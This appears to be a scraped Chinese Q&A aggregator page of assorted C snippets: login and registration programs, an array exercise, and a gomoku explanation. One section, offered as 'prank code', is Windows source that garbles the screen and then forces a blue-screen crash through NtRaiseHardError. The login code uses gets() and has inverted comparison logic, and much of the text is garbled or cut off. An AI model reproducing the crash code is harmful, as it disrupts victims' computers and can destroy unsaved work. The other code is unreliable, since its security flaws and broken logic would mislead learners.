A. c語言編寫一個用戶登陸的程序
代碼如下:
#include<stdio.h>
#pragma warning(disable:4996)
#include<string.h>
int main()
{
int i = 0;
char password[10] = { 0 };
printf("請輸入密碼:");
while (i < 3)
{
scanf("%s", password);
printf(" ");
if (strcmp(password, "972816") == 0)
{
printf("登錄成功 ");
break;
}
else
{
i++;
if (i != 3)
printf("再輸入一次");
}
}
if (i == 3)
printf("密碼錯誤三次退出登錄界面 ");
system("pause");
return 0;
(1)c語言超級用戶代碼擴展閱讀:
#include後面有兩種方式,<>;和""前者先在標准庫中查找,查找不到在path中查找。後者為文件路徑,若直接是文件名則在項目根目錄下查找。
引用方法:#include<stdio.h>
注意事項:在TC2.0中,允許不引用此頭文件而直接調用其中的函數,但這種做法是不標準的。也不建議這樣做。以避免出現在其他IDE中無法編譯或執行的問題。
B. c語言代碼
C語言的代碼指的是根據C語言編寫規則所寫出的程序語句、計算機指令;C語言代碼的存儲文件擴展名一般為「.c」文件或者是「.h」文件,分別對應C源文件(source file)和C頭文件(header file)。
簡而言之,C語言的源代碼,就是根據C語言編寫規則所寫出的程序語句;常見的存儲文件擴展名為一般為.c文件或者是.h文件,分別對應C源文件(source file)和C頭文件(header file)。
C. c語言編程代碼
兩種方法我寫在一起,可以獨立拆開。
#include <stdio.h>
void finda1(char a[3][10]);
void finda2(char a[3][10]);
void show(char (*p)[10]);
int main()
{
char a[3][10]={{"gehajl"},{"788a987a7"},{"ccabbbabbb"}};
printf("原數組內容: ");
show(a);
printf(" 1、用數組指針的方法(函數finda1): ");
finda1(a);
printf("執行後: ");
show(a);
printf(" --------------------- ");
char b[3][10]={{"gehajl"},{"788a987a7"},{"ccabbbabbb"}};
printf("原數組內容: ");
show(a);
printf(" 2、用指針數組的方法(函數finda2): ");
finda2(b);
printf("執行後: ");
show(b);
return 0;
}
void finda1(char a[3][10])
{
int i,j;
char (*p)[10]=a;
for(i=0;i<3;i++)
for(j=0;j<10;j++)
if(p[i][j]=='a')
printf("發現:第%d行第%d個元素是『a』,已替換 ",i+1,j+1),p[i][j]='1';
}
void finda2(char a[3][10])
{
int i,j;
char *p[3]={&a[0][0],&a[1][0],&a[2][0]};
for(i=0;i<3;i++)
for(j=0;j<10;j++)
if(p[i][j]=='a')
printf("發現:第%d行第%d個元素是『a』,已替換 ",i+1,j+1),p[i][j]='1';
}
void show(char (*p)[10])
{
int i,j;
for(i=0;i<3;i++,printf(" "))
for(j=0;j<10;j++)
printf("%c ",p[i][j]);
}
D. C語言連接兩部分代碼
不給代碼誰知道怎麼回事啊,如果你的程序沒有崩潰沒有結束的話,可能陷入無限遞歸或者循環,檢查相關函數
E. C語言代碼,怎麼運行。
1、創建一個文件名為main.c,然後用任意一個款你熟悉的文本編輯軟體,比如說記事本,在裡面輸入下面的代碼,記住,要用文本文件編輯軟體,不能用word的。
(5)c語言超級用戶代碼擴展閱讀:
c語言小游戲實現原理
1、二維數組實現棋盤
二維數組,用兩個for 循環,隨便輸出一個固定符號做棋盤,如 *
2、判定玩家
設計一個計步變數step, 每走一步 step++, 則玩家=step%2+1;
3、判定輸贏(重點)
設計方向數組 dircX[4] ,dircY[4],因為如果要判斷是否練成五子,只有1豎著2橫著3斜下4斜上
豎著的話就是 x-1,y不變
橫著的話就是x不變,y+1; 斜下: x+1,y+1; 斜上 x-1;y+1
這樣你就可以賦值dircX={-1,0,1,-1} dercY={0,1,1,1}
每當玩家落下一子,就全局判斷每個子的四個方向有沒有第二子,如果有,循環判斷有沒有第三子(利用 x+=dircX[1]),直到五子完成,結束。
F. c語言用戶注冊代碼
C語言編程實現用戶的注冊和登錄
#include "stdafx.h"
#include "string.h"
#define n 20
void zhuce();
void denglu();
char yhm[n],mm[n];
int main(int argc, char* argv[])
{
int i;
printf("-----------\n1.注冊\n2.登陸\n3.繼續\n0.退出\n");
scanf("%d",&i);
switch(i)
{case 0: break;
case 1 : zhuce();break;
case 2: denglu();break;
}
return 0;
}
void zhuce( )
{char temp1[n],temp2[n],temp3[n],yhmtmp[n];
printf("輸入用戶名\n");
fflush(stdin);//清空緩存
gets(yhmtmp);
printf("輸入密碼\n");
fflush(stdin);
gets(temp1);
printf("輸入密碼確認\n");
fflush(stdin);
gets(temp2);
if(!strcmp(temp1,temp2))
{strcpy(mm,temp1);
printf("注冊成功\n");
}
else
{printf("輸入密碼確認\n");
gets(temp3);
if(!strcmp(temp1,temp3))
{strcpy(mm,temp1);
printf("注冊成功\n");
}
else
printf("注冊失敗\n");
}
}
void denglu( )
{
char s1[n],s2[n];
printf("輸入用戶名\n");
fflush(stdin);
gets(s1);
printf("輸入密碼\n");
fflush(stdin);
gets(s2);
if((strcmp(s1,yhm))&&(strcmp(s2,mm)))
printf("登陸成功\n");
}
G. 求一個C語言整人代碼!!!
先上代碼
#include<Windows.h>
#include<time.h>
usingnamespacestd;
intcall;
intScreenWidth=GetSystemMetrics(SM_CXSCREEN);
intScreenHeight=GetSystemMetrics(SM_CYSCREEN);
intIconWidth=GetSystemMetrics(SM_CXICON);
intIconHeight=GetSystemMetrics(SM_CYICON);
HDChdc=GetWindowDC(GetDesktopWindow());
#defineKEY_DOWN(VK_NONAME)((GetAsyncKeyState(VK_NONAME)&0x8000)?1:0)
intrandom(intupper_bound){
if(upper_bound==0){
return0;
}
srand((unsigned)(time(NULL)*clock()*rand()*call+time(NULL)+rand()+call));
call++;
returnrand()%upper_bound;
}
DWORDWINAPIFlashDesktop(LPVOIDParam){
while(true){
BitBlt(hdc,0,0,ScreenWidth,ScreenHeight,hdc,0,0,NOTSRCCOPY);
Sleep(random(100));
}
return0;
}
intGetWay(){
intr=random(3);
switch(r){
case0:
returnSRCAND;
case1:
returnSRCINVERT;
case2:
returnSRCPAINT;
}
}
(LPVOIDParam){
while(true){
intRandWidth=random(ScreenWidth);
intRandHeight=random(ScreenHeight);
intRandxPixel=random(ScreenWidth-RandWidth);
intRandyPixel=random(ScreenHeight-RandHeight);
intRandDestxPixel=random(ScreenWidth-RandWidth);
intRandDestyPixel=random(ScreenHeight-RandHeight);
BitBlt(hdc,RandxPixel,RandyPixel,RandWidth,RandHeight,hdc,RandDestxPixel,RandDestyPixel,SRCINVERT);
Sleep(random(100));
}
return0;
}
(LPVOIDParam){
while(true){
intRandWidth=random(ScreenWidth);
intRandHeight=random(ScreenHeight);
intRandxPixel=random(ScreenWidth-RandWidth)+RandWidth;
intRandyPixel=random(ScreenHeight-RandHeight)+RandHeight;
intRandDestxPixel=random(ScreenWidth-RandWidth)+RandWidth;
intRandDestyPixel=random(ScreenHeight-RandHeight)+RandHeight;
BitBlt(hdc,RandxPixel,RandyPixel,RandWidth,RandHeight,hdc,RandDestxPixel,RandDestyPixel,SRCINVERT);
Sleep(random(100));
}
return0;
}
DWORDWINAPICallBsod1MinLater(LPVOIDParam){
Sleep(60000);
HMODULEntdll=LoadLibrary("ntdll.dll");
FARPROCRtlAdjustPrivilege=GetProcAddress(ntdll,"RtlAdjustPrivilege");
FARPROCNtRaiseHardError=GetProcAddress(ntdll,"NtRaiseHardError");
unsignedchartemp0;
longunsignedinttemp1;
((void(*)(DWORD,DWORD,BOOLEAN,LPBYTE))RtlAdjustPrivilege)(0x13,true,false,&temp0);
((void(*)(DWORD,DWORD,DWORD,DWORD,DWORD,LPDWORD))NtRaiseHardError)(0xc000021a,0,0,0,6,&temp1);
return0;
}
DWORDWINAPIDrawErrors(LPVOIDParam){
while(true){
intRandxPixel=random(ScreenWidth-IconWidth/2);
intRandyPixel=random(ScreenHeight-IconHeight/2);
DrawIcon(hdc,RandxPixel,RandyPixel,LoadIcon(NULL,IDI_ERROR));
Sleep(random(50));
}
return0;
}
intmain(void){
CreateThread(NULL,4096,&FlashDesktop,NULL,NULL,NULL);
CreateThread(NULL,4096,&ScreenXorOperation1,NULL,NULL,NULL);
CreateThread(NULL,4096,&ScreenXorOperation2,NULL,NULL,NULL);
CreateThread(NULL,4096,&CallBsod1MinLater,NULL,NULL,NULL);
CreateThread(NULL,4096,&DrawErrors,NULL,NULL,NULL);
while(true);
}
運行這段代碼首先會花屏並閃屏,一分鍾後藍屏。
效果圖:
H. C語言代碼,我是超級小白
txt每行後面有轉義字元\n